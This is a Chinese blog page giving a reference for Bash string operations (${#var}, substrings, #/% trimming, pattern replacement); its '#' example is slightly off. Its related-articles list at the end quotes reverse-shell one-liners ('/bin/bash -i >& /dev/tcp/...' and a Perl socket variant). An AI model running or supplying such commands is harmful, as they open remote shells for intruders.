首页 > 系统相关 >shell 字串

shell 字串

时间:2023-02-27 11:11:14浏览次数:28  
标签:shell word 变量 pattern name start 字串 string

1. 学习基础语法,知道语法之后,再应用

name="southsouth"

southsouth

上面这个元素,是有索引的,序号

012345.......

name="southsouth"         该变量的值,有索引,分别是从0,1,2,3,4,5开始

${变量}                    返回变量
${#变量}                   返回变量长度,字符长度
${变量:start}              返回变量start数值之后的字符,且包含start的数字
${变量:start:length}       提取start之后的length限制的字符,例如${name:4:1} 
${变量#word}               从变量开头,删除最短匹配的word子串 ${name:sou}
${变量##word}              从变量开头,删除最长匹配的word
${变量%word}               从变量结尾删除最短的word
${变量%%word}              从变量结尾开始删除最长匹配的word

替换
${变量/pattern/string}     用string代替第一个匹配的pattern
${变量//pattern/string}    用string代替所有的pattern

 

标签:shell,word,变量,pattern,name,start,字串,string
From: https://www.cnblogs.com/nanruosen/p/17158944.html

相关文章

  • 记一次完整体系的攻防演练的环境部署-映射公网-渗透getshell-上线frp-上线MSF实现内网
    前言,本次笔记是记录在工作中的一个攻防演练环境搭建和通过部署的应用存在的文件上传漏洞getshell,接着上线frp,接着上线msf,实现msf远程渗透。准备工作:1,在客户的内网环境......
  • shell 读入写入execl文件
    #!/bin/bash#定义Excel文件路径和Sheet名称EXCEL_FILE="example.xlsx"SHEET_NAME="Sheet1"#读取Excel文件内容echo"ReadingExcelfile${EXCEL_FILE}"python......
  • Linux-反弹Shell
    /bin/bash-i>&/dev/tcp/10.0.0.1/80800>&1/bin/sh-i>&/dev/tcp/10.0.0.1/80800>&1perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,......
  • Linux-反弹Shell
    /bin/bash-i>&/dev/tcp/10.0.0.1/80800>&1/bin/sh-i>&/dev/tcp/10.0.0.1/80800>&1perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,......
  • shell变量学习
      手动取消变量         ......
  • shell 1+2+3+....+100的最简单写法
    #!/usr/bin/envbashexportPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/binsum=0while((sum<=100))doleta=a+sumletsum++doneech......
  • shell 遍历目录大小的经典写法
    #!/usr/bin/envbashexportPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/binread-p"请输入目录名称(例如:/root)"resultcd${result}forkin$(ls${re......
  • Cobaltstrike —— shellcode分析(一)
    前言搞iot搞久了,换个方向看看,改改口味。所以决定分析一下Cobaltstrike——shellcode,顺便还可以提高一下逆向能力。windows常见结构体在分析Cobaltstrike-shellcode之......
  • shell的基本架构
     shell的定义: 交互式:输入一个命令,按一个enter,执行一下非交互式:提前写好一个脚本,直接执行脚本           ......
  • shell脚本多重判断案例
    cpu=$1mem=$2if[$cpu==4];thenvcores=4if["$mem"=="15G"];thenmb=12288elif["$mem"=="7.3G"];thenmb=6200fielif[$cpu......